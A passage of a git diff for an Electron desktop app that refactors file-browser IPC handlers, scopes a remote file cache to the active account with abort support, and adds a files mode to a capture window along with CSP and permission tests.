+ honorVcsIgnore: false,
});
- return entries;
- } catch (err) {
- log.warn('remote list-dir failed', { hostId: args.remoteHostId, error: String(err) });
- throwRemoteFsIpcError(err);
- }
- }
- const matcher = await loadIgnoreMatcher(args.workdir, {
- hideMetaFiles: args.hideMetaFiles ?? true,
- honorVcsIgnore: false,
- });
- return listDir(args.workdir, args.relPath ?? '', matcher, {
- docMode: args.docMode,
- });
- },
- );
+ return listDir(args.workdir, args.relPath ?? '', matcher, {
+ docMode: args.includeIgnored === true ? false : args.docMode,
+ });
+ });
ipcMain.handle(
FILE_BROWSER_INVOKE.LIST_ALL,
@@ -547,205 +653,178 @@ export function registerFileBrowserIpc(): void {
},
);
- ipcMain.handle(
- FILE_BROWSER_INVOKE.READ_FILE,
- async (_event, args: ReadFileArgs) => {
- try {
- const data = args.remoteHostId
- ? await getRemoteFileBrowser().request(args.remoteHostId, 'readFile', {
- workdir: args.workdir,
- relPath: args.relPath,
- })
- : await readFile(args.workdir, args.relPath);
- return { ok: true as const, data };
- } catch (err) {
- const code = (err as Error & { code?: string }).code;
- // BINARY_FILE is the expected "not previewable" path — surface it
- // explicitly so the renderer can show the unrenderable placeholder
- // without log spam. 远程侧 daemon 透传同一 code(FileServiceRpcError)。
- if (code === 'BINARY_FILE') {
- return { ok: false as const, code: 'BINARY_FILE' as const };
- }
- log.warn('read-file failed', { args, error: String(err) });
- return {
- ok: false as const,
- code: 'READ_FAILED' as const,
- message: String(err),
- };
- }
- },
- );
-
- ipcMain.handle(
- FILE_BROWSER_INVOKE.STAT,
- async (_event, args: StatArgs) => {
- if (args.remoteHostId) {
- try {
- return await getRemoteFileBrowser().request(args.remoteHostId, 'stat', {
+ ipcMain.handle(FILE_BROWSER_INVOKE.READ_FILE, async (_event, args: ReadFileArgs) => {
+ try {
+ const data = args.remoteHostId
+ ? await getRemoteFileBrowser().request(args.remoteHostId, 'readFile', {
workdir: args.workdir,
relPath: args.relPath,
- });
- } catch (err) {
- throwRemoteFsIpcError(err);
- }
- }
- return statEntry(args.workdir, args.relPath);
- },
- );
-
- ipcMain.handle(
- FILE_BROWSER_INVOKE.WRITE_FILE,
- async (_event, args: WriteFileArgs) => {
- try {
- const result = args.remoteHostId
- ? await getRemoteFileBrowser().request(args.remoteHostId, 'writeFile', {
- workdir: args.workdir,
- relPath: args.relPath,
- content: args.content,
- })
- : await writeFile(args.workdir, args.relPath, args.content);
- return { ok: true as const, ...result };
- } catch (err) {
- log.warn('write-file failed', { relPath: args.relPath, error: String(err) });
- return { ok: false as const, message: String(err) };
+ })
+ : await readFile(args.workdir, args.relPath);
+ return { ok: true as const, data };
+ } catch (err) {
+ const code = (err as Error & { code?: string }).code;
+ // BINARY_FILE is the expected "not previewable" path — surface it
+ // explicitly so the renderer can show the unrenderable placeholder
+ // without log spam. 远程侧 daemon 透传同一 code(FileServiceRpcError)。
+ if (code === 'BINARY_FILE') {
+ return { ok: false as const, code: 'BINARY_FILE' as const };
}
- },
- );
+ log.warn('read-file failed', { args, error: String(err) });
+ return {
+ ok: false as const,
+ code: 'READ_FAILED' as const,
+ message: String(err),
+ };
+ }
+ });
- ipcMain.handle(
- FILE_BROWSER_INVOKE.CREATE_FILE,
- async (_event, args: MutateEntryArgs) => {
+ ipcMain.handle(FILE_BROWSER_INVOKE.STAT, async (_event, args: StatArgs) => {
+ if (args.remoteHostId) {
try {
- const stat = args.remoteHostId
- ? await getRemoteFileBrowser().request(args.remoteHostId, 'createFile', {
- workdir: args.workdir,
- relPath: args.relPath,
- })
- : await createFile(args.workdir, args.relPath);
- return { ok: true as const, stat };
+ return await getRemoteFileBrowser().request(args.remoteHostId, 'stat', {
+ workdir: args.workdir,
+ relPath: args.relPath,
+ });
} catch (err) {
- log.warn('create-file failed', { relPath: args.relPath, error: String(err) });
- return { ok: false as const, message: String(err) };
+ throwRemoteFsIpcError(err);
}
- },
- );
+ }
+ return statEntry(args.workdir, args.relPath);
+ });
- ipcMain.handle(
- FILE_BROWSER_INVOKE.CREATE_FOLDER,
- async (_event, args: MutateEntryArgs) => {
- try {
- const stat = args.remoteHostId
- ? await getRemoteFileBrowser().request(args.remoteHostId, 'createFolder', {
- workdir: args.workdir,
- relPath: args.relPath,
- })
- : await createFolder(args.workdir, args.relPath);
- return { ok: true as const, stat };
- } catch (err) {
- log.warn('create-folder failed', { relPath: args.relPath, error: String(err) });
- return { ok: false as const, message: String(err) };
- }
- },
- );
+ ipcMain.handle(FILE_BROWSER_INVOKE.WRITE_FILE, async (_event, args: WriteFileArgs) => {
+ try {
+ const result = args.remoteHostId
+ ? await getRemoteFileBrowser().request(args.remoteHostId, 'writeFile', {
+ workdir: args.workdir,
+ relPath: args.relPath,
+ content: args.content,
+ })
+ : await writeFile(args.workdir, args.relPath, args.content);
+ return { ok: true as const, ...result };
+ } catch (err) {
+ log.warn('write-file failed', { relPath: args.relPath, error: String(err) });
+ return { ok: false as const, message: String(err) };
+ }
+ });
- ipcMain.handle(
- FILE_BROWSER_INVOKE.RENAME_ENTRY,
- async (_event, args: RenameEntryArgs) => {
- try {
- const stat = args.remoteHostId
- ? await getRemoteFileBrowser().request(args.remoteHostId, 'renameEntry', {
- workdir: args.workdir,
- fromRel: args.fromRel,
- toRel: args.toRel,
- })
- : await renameEntry(args.workdir, args.fromRel, args.toRel);
- return { ok: true as const, stat };
- } catch (err) {
- log.warn('rename-entry failed', {
- fromRel: args.fromRel,
- toRel: args.toRel,
- error: String(err),
- });
- return { ok: false as const, message: String(err) };
- }
- },
- );
+ ipcMain.handle(FILE_BROWSER_INVOKE.CREATE_FILE, async (_event, args: MutateEntryArgs) => {
+ try {
+ const stat = args.remoteHostId
+ ? await getRemoteFileBrowser().request(args.remoteHostId, 'createFile', {
+ workdir: args.workdir,
+ relPath: args.relPath,
+ })
+ : await createFile(args.workdir, args.relPath);
+ return { ok: true as const, stat };
+ } catch (err) {
+ log.warn('create-file failed', { relPath: args.relPath, error: String(err) });
+ return { ok: false as const, message: String(err) };
+ }
+ });
- ipcMain.handle(
- FILE_BROWSER_INVOKE.DELETE_ENTRY,
- async (_event, args: MutateEntryArgs) => {
- try {
- if (args.remoteHostId) {
- await getRemoteFileBrowser().request(args.remoteHostId, 'deleteEntry', {
+ ipcMain.handle(FILE_BROWSER_INVOKE.CREATE_FOLDER, async (_event, args: MutateEntryArgs) => {
+ try {
+ const stat = args.remoteHostId
+ ? await getRemoteFileBrowser().request(args.remoteHostId, 'createFolder', {
workdir: args.workdir,
relPath: args.relPath,
- });
- } else {
- await deleteEntry(args.workdir, args.relPath);
- }
- return { ok: true as const };
- } catch (err) {
- log.warn('delete-entry failed', { relPath: args.relPath, error: String(err) });
- return { ok: false as const, message: String(err) };
- }
- },
- );
+ })
+ : await createFolder(args.workdir, args.relPath);
+ return { ok: true as const, stat };
+ } catch (err) {
+ log.warn('create-folder failed', { relPath: args.relPath, error: String(err) });
+ return { ok: false as const, message: String(err) };
+ }
+ });
- ipcMain.handle(
- FILE_BROWSER_INVOKE.START_WATCH,
- async (event, args: WatchArgs) => {
- const window = BrowserWindow.fromWebContents(event.sender);
- if (!window) throw new Error('no window for sender');
+ ipcMain.handle(FILE_BROWSER_INVOKE.RENAME_ENTRY, async (_event, args: RenameEntryArgs) => {
+ try {
+ const stat = args.remoteHostId
+ ? await getRemoteFileBrowser().request(args.remoteHostId, 'renameEntry', {
+ workdir: args.workdir,
+ fromRel: args.fromRel,
+ toRel: args.toRel,
+ })
+ : await renameEntry(args.workdir, args.fromRel, args.toRel);
+ return { ok: true as const, stat };
+ } catch (err) {
+ log.warn('rename-entry failed', {
+ fromRel: args.fromRel,
+ toRel: args.toRel,
+ error: String(err),
+ });
+ return { ok: false as const, message: String(err) };
+ }
+ });
+
+ ipcMain.handle(FILE_BROWSER_INVOKE.DELETE_ENTRY, async (_event, args: MutateEntryArgs) => {
+ try {
if (args.remoteHostId) {
- // 远程:daemon 内 fs.watch(recursive),fileTree 事件帧经注册表转发成
- // 与本地完全同形的 FILE_BROWSER_PUSH.EVENT;失败不 throw(renderer 靠
- // 聚焦刷新兜底,watch 是增强不是硬依赖)。
- try {
- await getRemoteWatchRegistry(getRemoteFileBrowser()).start(
- window,
- args.remoteHostId,
- args.workdir,
- { hideMetaFiles: args.hideMetaFiles ?? true },
- (fsEvent) => {
- if (window.isDestroyed()) return;
- window.webContents.send(FILE_BROWSER_PUSH.EVENT, fsEvent);
- },
- );
- } catch (err) {
- log.warn('remote start-watch failed', { hostId: args.remoteHostId, error: String(err) });
- }
- return { ok: true };
+ await getRemoteFileBrowser().request(args.remoteHostId, 'deleteEntry', {
+ workdir: args.workdir,
+ relPath: args.relPath,
+ });
+ } else {
+ await deleteEntry(args.workdir, args.relPath);
}
- await watcherManager.start(
- window,
- args.workdir,
- { hideMetaFiles: args.hideMetaFiles ?? true },
- (fsEvent: FileTreeEvent) => {
- if (window.isDestroyed()) return;
- window.webContents.send(FILE_BROWSER_PUSH.EVENT, fsEvent);
- },
- );
- return { ok: true };
- },
- );
+ return { ok: true as const };
+ } catch (err) {
+ log.warn('delete-entry failed', { relPath: args.relPath, error: String(err) });
+ return { ok: false as const, message: String(err) };
+ }
+ });
- ipcMain.handle(
- FILE_BROWSER_INVOKE.STOP_WATCH,
- async (event, args: WatchArgs) => {
- const window = BrowserWindow.fromWebContents(event.sender);
- if (!window) return { ok: true };
- if (args.remoteHostId) {
- await getRemoteWatchRegistry(getRemoteFileBrowser()).stop(
- window.id,
+ ipcMain.handle(FILE_BROWSER_INVOKE.START_WATCH, async (event, args: WatchArgs) => {
+ const window = BrowserWindow.fromWebContents(event.sender);
+ if (!window) throw new Error('no window for sender');
+ if (args.remoteHostId) {
+ // 远程:daemon 内 fs.watch(recursive),fileTree 事件帧经注册表转发成
+ // 与本地完全同形的 FILE_BROWSER_PUSH.EVENT;失败不 throw(renderer 靠
+ // 聚焦刷新兜底,watch 是增强不是硬依赖)。
+ try {
+ await getRemoteWatchRegistry(getRemoteFileBrowser()).start(
+ window,
args.remoteHostId,
args.workdir,
+ { hideMetaFiles: args.hideMetaFiles ?? true },
+ (fsEvent) => {
+ if (window.isDestroyed()) return;
+ window.webContents.send(FILE_BROWSER_PUSH.EVENT, fsEvent);
+ },
);
- return { ok: true };
+ } catch (err) {
+ log.warn('remote start-watch failed', { hostId: args.remoteHostId, error: String(err) });
}
- await watcherManager.stop(window.id, args.workdir);
return { ok: true };
- },
- );
+ }
+ await watcherManager.start(
+ window,
+ args.workdir,
+ { hideMetaFiles: args.hideMetaFiles ?? true },
+ (fsEvent: FileTreeEvent) => {
+ if (window.isDestroyed()) return;
+ window.webContents.send(FILE_BROWSER_PUSH.EVENT, fsEvent);
+ },
+ );
+ return { ok: true };
+ });
+
+ ipcMain.handle(FILE_BROWSER_INVOKE.STOP_WATCH, async (event, args: WatchArgs) => {
+ const window = BrowserWindow.fromWebContents(event.sender);
+ if (!window) return { ok: true };
+ if (args.remoteHostId) {
+ await getRemoteWatchRegistry(getRemoteFileBrowser()).stop(
+ window.id,
+ args.remoteHostId,
+ args.workdir,
+ );
+ return { ok: true };
+ }
+ await watcherManager.stop(window.id, args.workdir);
+ return { ok: true };
+ });
log.info('file-browser IPC registered');
}
diff --git a/apps/desktop/src/main/file-browser/remote-file-cache.ts b/apps/desktop/src/main/file-browser/remote-file-cache.ts
index 34fb3e1bc7..542bb0b475 100644
--- a/apps/desktop/src/main/file-browser/remote-file-cache.ts
+++ b/apps/desktop/src/main/file-browser/remote-file-cache.ts
@@ -7,7 +7,7 @@
* - device:被控端 exportFile 上传 OSS → 本端 presign-get 流式直下(bytes
* 不经 relay),下载完 best-effort 删中转对象。
*
- * 缓存:userData/remote-file-cache/<sha1(identity)>-<basename>,identity =
+ * 缓存:userData/remote-file-cache/<sha256(identity) 前缀>-<basename>,identity =
* transport+端点+workdir+relPath+size+mtimeMs——远端文件变了 identity 即变,
* 天然失效;命中直接复用(2GB 不用重拉)。LRU 按字节上限逐出(atime 用
* 文件 mtime 近似:命中时 touch)。
@@ -21,7 +21,7 @@ import { promises as fs } from 'node:fs';
import path from 'node:path';
import { app } from 'electron';
-import { dataOwnerStorageKey } from '../appSessionState.js';
+import { activeOwnerScopeKey, dataOwnerStorageKey } from '../appSessionState.js';
import { createLogger } from '../logger.js';
const log = createLogger('file-browser/remote-cache');
@@ -32,6 +32,8 @@ const CHAT_ATTACHMENT_CACHE_DIR_NAME = 'chat-attachment-cache';
const MAX_CACHE_BYTES = 4 * 1024 * 1024 * 1024;
export interface RemoteFileIdentity {
+ /** Capture before any await so a switched account cannot share an in-flight read. */
+ scope?: string;
transport: 'ssh' | 'device';
/** SSH hostId 或 device-link deviceId。 */
endpointId: string;
@@ -41,10 +43,14 @@ export interface RemoteFileIdentity {
mtimeMs: number;
}
-export type FetchProgressFn = (received: number, total: number, phase?: 'upload' | 'download') => void;
+export type FetchProgressFn = (
+ received: number,
+ total: number,
+ phase?: 'upload' | 'download',
+) => void;
/** 取回执行体:把远端文件完整写到 destPath(临时路径),完成返回。 */
-export type FetchExecutor = (destPath: string, onProgress: FetchProgressFn) => Promise<void>;
+export type FetchExecutor = (destPath: string, onProgress: FetchProgressFn, signal?: AbortSignal) => Promise<void>;
function cacheDir(): string {
return path.join(app.getPath('userData'), CACHE_DIR_NAME);
@@ -121,9 +127,16 @@ export async function cleanupOwnedUnpersistedStagedChatAttachments(params: {
}
/** 路径身份前缀(不含 size/mtime):断线兜底按它捞最近副本。 */
-function prefixHashFor(id: Pick<RemoteFileIdentity, 'transport' | 'endpointId' | 'workdir' | 'relPath'>): string {
- return createHash('sha1')
- .update([id.transport, id.endpointId, id.workdir, id.relPath].join('\n'))
+function prefixHashFor(
+ id: Pick<RemoteFileIdentity, 'transport' | 'endpointId' | 'workdir' | 'relPath' | 'scope'>,
+): string {
+ // Deterministic cache identity only; scope is mode/owner ID/generation, never credentials.
+ return createHash('sha256')
+ .update(
+ [id.scope ?? activeOwnerScopeKey(), id.transport, id.endpointId, id.workdir, id.relPath].join(
+ '\n',
+ ),
+ )
.digest('hex')
.slice(0, 20);
}
@@ -158,15 +171,21 @@ function cachePathFor(id: RemoteFileIdentity): string {
return path.join(cacheDir(), `${prefixHashFor(id)}-${id.size}-${Math.round(id.mtimeMs)}-${base}`);
}
+function assertCacheOwner(scope: string): void {
+ if (scope !== activeOwnerScopeKey()) throw new Error('FILE_PEER_CANCELLED');
+}
+
/** 断线兜底:按路径身份前缀找最近的已缓存副本(可能不是最新版本)。 */
export async function findStaleCached(
id: Pick<RemoteFileIdentity, 'transport' | 'endpointId' | 'workdir' | 'relPath'>,
): Promise<string | null> {
- const prefix = `${prefixHashFor(id)}-`;
+ const scope = activeOwnerScopeKey();
+ const prefix = `${prefixHashFor({ ...id, scope })}-`;
let names: string[];
try {
names = await fs.readdir(cacheDir());
} catch {
+ assertCacheOwner(scope);
return null;
}
let best: { p: string; mtimeMs: number } | null = null;
@@ -175,11 +194,13 @@ export async function findStaleCached(
try {
const full = path.join(cacheDir(), n);
const st = await fs.stat(full);
- if (st.isFile() && (!best || st.mtimeMs > best.mtimeMs)) best = { p: full, mtimeMs: st.mtimeMs };
+ if (st.isFile() && (!best || st.mtimeMs > best.mtimeMs))
+ best = { p: full, mtimeMs: st.mtimeMs };
} catch {
// 竞态删除,忽略
}
}
+ assertCacheOwner(scope);
return best?.p ?? null;
}
@@ -194,24 +215,37 @@ export function isInsideCacheDir(p: string): boolean {
* (.part → rename),失败静默——写穿是增益路径,不许影响主流程。
*/
export async function putCachedContent(id: RemoteFileIdentity, content: string): Promise<void> {
+ const scope = id.scope ?? activeOwnerScopeKey();
+ const dest = cachePathFor({ ...id, scope });
+ const tmp = `${dest}.${randomUUID()}.part`;
try {
- const dest = cachePathFor(id);
+ assertCacheOwner(scope);
try {
const st = await fs.stat(dest);
if (st.size > 0) return; // 已有同版本副本
} catch {
// miss → 写入
}
+ assertCacheOwner(scope);
await fs.mkdir(cacheDir(), { recursive: true });
- const tmp = `${dest}.part`;
+ assertCacheOwner(scope);
await fs.writeFile(tmp, content, 'utf8');
+ assertCacheOwner(scope);
await fs.rename(tmp, dest);
+ if (scope !== activeOwnerScopeKey()) await fs.rm(dest, { force: true });
} catch (err) {
log.debug('cache write-through failed', { relPath: id.relPath, error: String(err) });
+ } finally {
+ await fs.rm(tmp, { force: true }).catch(() => undefined);
}
}
-const inflight = new Map<string, Promise<string>>();
+type InflightRead = {
+ promise: Promise<string>;
+ controller: AbortController;
+ consumers: Set<symbol>;
+};
+const inflight = new Map<string, InflightRead>();
/**
* 取回远程文件到本地缓存,返回缓存绝对路径。命中(size 一致)直接复用并
@@ -221,11 +255,35 @@ export async function fetchRemoteFileToCache(
id: RemoteFileIdentity,
executor: FetchExecutor,
onProgress: FetchProgressFn,
+ signal?: AbortSignal,
): Promise<string> {
+ const scope = id.scope ?? activeOwnerScopeKey();
+ assertCacheOwner(scope);
+ id = { ...id, scope };
+ const report: FetchProgressFn = (...args) => {
+ assertCacheOwner(scope);
+ onProgress(...args);
+ };
const dest = cachePathFor(id);
const existing = inflight.get(dest);
- if (existing) return existing;
+ if (existing) {
+ const consumer = Symbol('remote-file-consumer');
+ existing.consumers.add(consumer);
+ try {
+ if (signal?.aborted) throw new Error('FILE_PEER_CANCELLED');
+ const result = await raceWithAbort(existing.promise, signal);
+ assertCacheOwner(scope);
+ return result;
+ } catch (error) {
+ assertCacheOwner(scope);
+ throw error;
+ } finally {
+ releaseInflightConsumer(existing, consumer);
+ }
+ }
+ const controller = new AbortController();
+ const firstConsumer = Symbol('remote-file-consumer');
const run = (async () => {
try {
const st = await fs.stat(dest);
@@ -233,26 +291,35 @@ export async function fetchRemoteFileToCache(
// 命中:touch 更新 LRU 位次,秒回。
const now = new Date();
await fs.utimes(dest, now, now).catch(() => undefined);
- onProgress(id.size, id.size);
+ report(id.size, id.size);
+ assertCacheOwner(scope);
return dest;
}
+ assertCacheOwner(scope);
await fs.rm(dest, { force: true });
} catch {
// miss
}
+ assertCacheOwner(scope);
await fs.mkdir(cacheDir(), { recursive: true });
const tmp = `${dest}.part`;
try {
- await executor(tmp, onProgress);
+ assertCacheOwner(scope);
+ await executor(tmp, report, controller.signal);
+ assertCacheOwner(scope);
const got = await fs.stat(tmp);
+ assertCacheOwner(scope);
if (got.size !== id.size) {
// 远端文件在取回途中变化(size 对不上)——废弃,让 caller 报错重试。
throw new Error(`fetched size mismatch: got ${got.size}, expect ${id.size}`);
}
await fs.rename(tmp, dest);
+ if (scope !== activeOwnerScopeKey()) await fs.rm(dest, { force: true });
+ assertCacheOwner(scope);
} finally {
await fs.rm(tmp, { force: true }).catch(() => undefined);
}
+ assertCacheOwner(scope);
// 新版本落地即清同路径旧版本(前缀同、文件名不同):被更新文件的历史
// 副本不再占位等 LRU,断线兜底也只会捞到最新成功副本。
void (async () => {
@@ -271,14 +338,40 @@ export async function fetchRemoteFileToCache(
return dest;
})();
- inflight.set(dest, run);
+ const owner: InflightRead = { promise: run, controller, consumers: new Set([firstConsumer]) };
+ inflight.set(dest, owner);
+ void run.then(() => {
+ if (inflight.get(dest) === owner) inflight.delete(dest);
+ }, () => {
+ if (inflight.get(dest) === owner) inflight.delete(dest);
+ });
try {
- return await run;
+ const result = await raceWithAbort(run, signal);
+ assertCacheOwner(scope);
+ return result;
+ } catch (error) {
+ assertCacheOwner(scope);
+ throw error;
} finally {
- inflight.delete(dest);
+ releaseInflightConsumer(owner, firstConsumer);
}
}
+function releaseInflightConsumer(owner: InflightRead, consumer: symbol): void {
+ owner.consumers.delete(consumer);
+ if (owner.consumers.size === 0 && !owner.controller.signal.aborted) owner.controller.abort();
+}
+
+function raceWithAbort<T>(promise: Promise<T>, signal?: AbortSignal): Promise<T> {
+ if (!signal) return promise;
+ if (signal.aborted) return Promise.reject(new Error('FILE_PEER_CANCELLED'));
+ return new Promise<T>((resolve, reject) => {
+ const abort = () => reject(new Error('FILE_PEER_CANCELLED'));
+ signal.addEventListener('abort', abort, { once: true });
+ promise.then(resolve, reject).finally(() => signal.removeEventListener('abort', abort));
+ });
+}
+
/**
* Dangerous local chat attachments are copied here before entering renderer
* state. The display name is retained separately, while the physical cache
diff --git a/apps/desktop/src/main/file-browser/ssh-media.ts b/apps/desktop/src/main/file-browser/ssh-media.ts
index 83367270f3..c88bb6eb2d 100644
--- a/apps/desktop/src/main/file-browser/ssh-media.ts
+++ b/apps/desktop/src/main/file-browser/ssh-media.ts
@@ -82,11 +82,12 @@ export function makeSshChunkExecutor(
workdir: string,
relPath: string,
): FetchExecutor {
- return async (destPath, progress) => {
+ return async (destPath, progress, signal) => {
const handle = await fsPromises.open(destPath, 'w');
try {
let offset = 0;
for (;;) {
+ if (signal?.aborted) throw new Error('FILE_PEER_CANCELLED');
const chunk = await request<{ dataBase64: string; eof: boolean; size: number; mtimeMs: number }>(
hostId,
'readFileChunk',
@@ -140,10 +141,10 @@ const MIME_BY_EXT: Record<string, string> = {
'.aac': 'audio/aac',
'.ogg': 'audio/ogg',
'.flac': 'audio/flac',
- // HTML 预览的同目录资源(review P1):手机端 htmlLocalResources 接受这些扩展名并把它们
- // 内联成 data: URI,本表若不同步,SSH 会话下最常见的 `<link href="assets/style.css">`
- // 会直接 415 —— 本地会话有样式、SSH 会话必然缺样式。
- // 只放宽「类型」,不放宽「范围」:路径仍由上面的 toWorkdirRelPosix 约束在 SSH 工作目录内。
+ // HTML 预览:入口文档与同目录资源都走这条 SSH 媒体管线。只放宽类型,不放宽范围。
+ '.html': 'text/html',
+ '.htm': 'text/html',
+ '.xhtml': 'application/xhtml+xml',
'.css': 'text/css',
'.js': 'text/javascript',
'.mjs': 'text/javascript',
diff --git a/apps/desktop/src/main/remote-desktop/__tests__/captureWindow.test.ts b/apps/desktop/src/main/remote-desktop/__tests__/captureWindow.test.ts
index d8515848f3..b6a47cc683 100644
--- a/apps/desktop/src/main/remote-desktop/__tests__/captureWindow.test.ts
+++ b/apps/desktop/src/main/remote-desktop/__tests__/captureWindow.test.ts
@@ -220,3 +220,19 @@ it('capture CSP forbids arbitrary network, application frames and inline/eval sc
expect(csp).toContain("frame-src 'none'");
expect(csp).not.toMatch(/https:|wss:|unsafe-inline|unsafe-eval/);
});
+
+it('keeps file transport separate and denies capture permissions', async () => {
+ const owner = new DesktopCaptureWindow(vi.fn(), 'files');
+ const ready = owner.start();
+ const win = fake.windows[0], ses = fake.sessions[0];
+ expect(win.webContents.mainFrame.url).toBe('http://localhost:9988/index.html?mode=files');
+ owner.registered(event(win));
+ await ready;
+ const check = ses.setPermissionCheckHandler.mock.calls[0][0];
+ expect(check(win.webContents, 'media', '', {})).toBe(false);
+ expect(check(win.webContents, 'display-capture', '', {})).toBe(false);
+ const result = vi.fn();
+ ses.setPermissionRequestHandler.mock.calls[0][0](win.webContents, 'media', result, {});
+ expect(result).toHaveBeenCalledWith(false);
+ owner.dispose();
+});
diff --git a/apps/desktop/src/main/remote-desktop/captureWindow.ts b/apps/desktop/src/main/remote-desktop/captureWindow.ts
index 73b3d50692..43c296d773 100644
--- a/apps/desktop/src/main/remote-desktop/captureWindow.ts
+++ b/apps/desktop/src/main/remote-desktop/captureWindow.ts
@@ -21,12 +21,16 @@ export class DesktopCaptureWindow {
} | null = null;
private captureSession: Session | null = null;
private get url(): string {
- return DESKTOP_CAPTURE_VITE_DEV_SERVER_URL
+ const base = DESKTOP_CAPTURE_VITE_DEV_SERVER_URL
? new URL('index.html', DESKTOP_CAPTURE_VITE_DEV_SERVER_URL).href
: CAPTURE_URL;
+ return this.mode === 'files' ? `${base}?mode=files` : base;
}
- constructor(private readonly failed: () => void) {}
+ constructor(
+ private readonly failed: () => void,
+ private readonly mode: 'desktop' | 'files' = 'desktop',
+ ) {}
get contents() {
return this.window?.webContents ?? null;
@@ -57,7 +61,10 @@ export class DesktopCaptureWindow {
private getSession(): Session {
if (this.captureSession) return this.captureSession;
- const ses = session.fromPartition('cindy-desktop-capture', { cache: false });
+ const ses = session.fromPartition(
+ this.mode === 'files' ? 'cindy-file-peer' : 'cindy-desktop-capture',
+ { cache: false },
+ );
this.captureSession = ses;
installContentSecurityPolicy(ses, {
isDev: Boolean(DESKTOP_CAPTURE_VITE_DEV_SERVER_URL),
@@ -67,6 +74,7 @@ export class DesktopCaptureWindow {
const origin = `${new URL(this.url).protocol}//${new URL(this.url).host}`;
ses.setPermissionCheckHandler(
(owner, permission, requestingOrigin) =>
+ this.mode === 'desktop' &&
owner === this.contents &&
owner?.mainFrame.url === this.url &&
(requestingOrigin === origin || requestingOrigin === `${origin}/`) &&
@@ -74,7 +82,8 @@ export class DesktopCaptureWindow {
);
ses.setPermissionRequestHandler((owner, permission, callback, details) => {
callback(
- owner === this.contents &&
+ this.mode === 'desktop' &&
+ owner === this.contents &&
owner?.mainFrame.url === this.url &&
details.isMainFrame === true &&
details.requestingUrl === this.url &&
@@ -92,7 +101,12 @@ export class DesktopCaptureWindow {
if (
request.method !== 'GET' ||
url.host !== 'capture' ||
- url.search ||
+ (url.search !== '' &&
+ !(
+ this.mode === 'files' &&
+ url.search === '?mode=files' &&
+ url.pathname === '/index.html'
+ )) ||
!/^\/(?:index\.html|assets\/[A-Za-z0-9_-]+\.js)$/.test(url.pathname)
)
return new Response(null, { status: 403 });
diff --git a/apps/desktop/src/main/security/__tests__/csp.test.ts b/apps/desktop/src/main/security/__tests__/csp.test.ts
index d94ede73c0..fa7659afd8 100644
--- a/apps/desktop/src/main/security/__tests__/csp.test.ts
+++ b/apps/desktop/src/main/security/__tests__/csp.test.ts
@@ -178,6 +178,36 @@ describe('installContentSecurityPolicy', () => {
};
}
+ it.each(['', '?mode=files'])('protects the packaged capture document %s', (query) => {
+ const s = fakeSession();
+ const ctx = { ...PROD_CTX, desktopCapture: true };
+ installContentSecurityPolicy(s as never, ctx);
+ const result = s.invoke({ resourceType: 'mainFrame', url: `cindy-desktop-capture://capture/index.html${query}`, responseHeaders: {} });
+ expect(result.responseHeaders?.['Content-Security-Policy']).toEqual([buildContentSecurityPolicy(ctx)]);
+ expect(result.responseHeaders?.['Content-Security-Policy']?.[0]).toContain("connect-src 'none'");
+ });
+
+ it.each([
+ 'cindy-desktop-capture://capture/index.html?mode=unknown',
+ 'cindy-desktop-capture://capture/index.html?mode=files&other=1',
+ 'cindy-desktop-capture://capture/other.html?mode=files',
+ 'cindy-desktop-capture://capture.evil/index.html?mode=files',
+ ])('does not broaden the capture document allowlist to %s', (url) => {
+ const s = fakeSession();
+ installContentSecurityPolicy(s as never, { ...PROD_CTX, desktopCapture: true });
+ expect(s.invoke({ resourceType: 'mainFrame', url, responseHeaders: {} })).toEqual({});
+ });
+
+ it('keeps capture URLs scoped to the capture session and main frame', () => {
+ const url = 'cindy-desktop-capture://capture/index.html?mode=files';
+ const app = fakeSession();
+ installContentSecurityPolicy(app as never, PROD_CTX);
+ expect(app.invoke({ resourceType: 'mainFrame', url, responseHeaders: {} })).toEqual({});
+ const capture = fakeSession();
+ installContentSecurityPolicy(capture as never, { ...PROD_CTX, desktopCapture: true });
+ expect(capture.invoke({ resourceType: 'script', url, responseHeaders: {} })).toEqual({});
+ });
+
it('is idempotent: a second install on the same session does NOT re-register the listener', () => {
const s = fakeSession();
installContentSecurityPolicy(s as never, PROD_CTX);
diff --git a/apps/desktop/src/main/security/csp.ts b/apps/desktop/src/main/security/csp.ts
index 93dad421a4..9cf2240bae 100644
--- a/apps/desktop/src/main/security/csp.ts
+++ b/apps/desktop/src/main/security/csp.ts
@@ -223,7 +223,9 @@ export function installContentSecurityPolicy(session: Session, ctx: CspContext):
// Exact-origin match (not startsWith) so e.g. http://localhost:51730
// cannot piggyback on a http://localhost:5173 dev origin.
const isAppDocument =
- (ctx.desktopCapture === true && url === 'cindy-desktop-capture://capture/index.html') ||
+ (ctx.desktopCapture === true &&
+ (url === 'cindy-desktop-capture://capture/index.html' ||
+ url === 'cindy-desktop-capture://capture/index.html?mode=files')) ||
url.startsWith('file://') ||
(ctx.devServerOrigin !== null && parseOrigin(url) === ctx.devServerOrigin);
if (!isAppDocument) {
diff --git a/apps/desktop/src/preload/desktopCapturePreload.ts b/apps/desktop/src/preload/desktopCapturePreload.ts
index a5f9f1134a..4c343b7385 100644
--- a/apps/desktop/src/preload/desktopCapturePreload.ts
+++ b/apps/desktop/src/preload/desktopCapturePreload.ts
@@ -1,3 +1,4 @@
+import { FILE_PEER_LOCAL, type FilePeerHostApi, type FilePeerCommand } from '../shared/filePeer';
import { contextBridge, ipcRenderer } from 'electron';
import {
DESKTOP_LOCAL,
@@ -23,4 +24,22 @@ const api: DesktopCaptureApi = {
viewHeartbeat: (lease) => ipcRenderer.invoke(DESKTOP_LOCAL.VIEW_HEARTBEAT, lease),
nativeFrame: (lease) => ipcRenderer.invoke(DESKTOP_LOCAL.NATIVE_FRAME, lease),
};
-contextBridge.exposeInMainWorld('desktopCapture', api);
+if (location.search === '?mode=files') {
+ const files: FilePeerHostApi = {
+ register: () => ipcRenderer.invoke(FILE_PEER_LOCAL.REGISTER),
+ onCommand: (listener) => {
+ const wrapped = (_e: Electron.IpcRendererEvent, id: string, command: FilePeerCommand) =>
+ listener(id, command);
+ ipcRenderer.on(FILE_PEER_LOCAL.COMMAND, wrapped);
+ return () => {
+ ipcRenderer.removeListener(FILE_PEER_LOCAL.COMMAND, wrapped);
+ };
+ },
+ reply: (id, ok, value) => ipcRenderer.invoke(FILE_PEER_LOCAL.REPLY, id, ok, value),
+ read: (connection, ticket, offset) =>
+ ipcRenderer.invoke(FILE_PEER_LOCAL.READ, connection, ticket, offset),
+ write: (sink, offset, base64) =>
+ ipcRenderer.invoke(FILE_PEER_LOCAL.WRITE, sink, offset, base64),
+ };
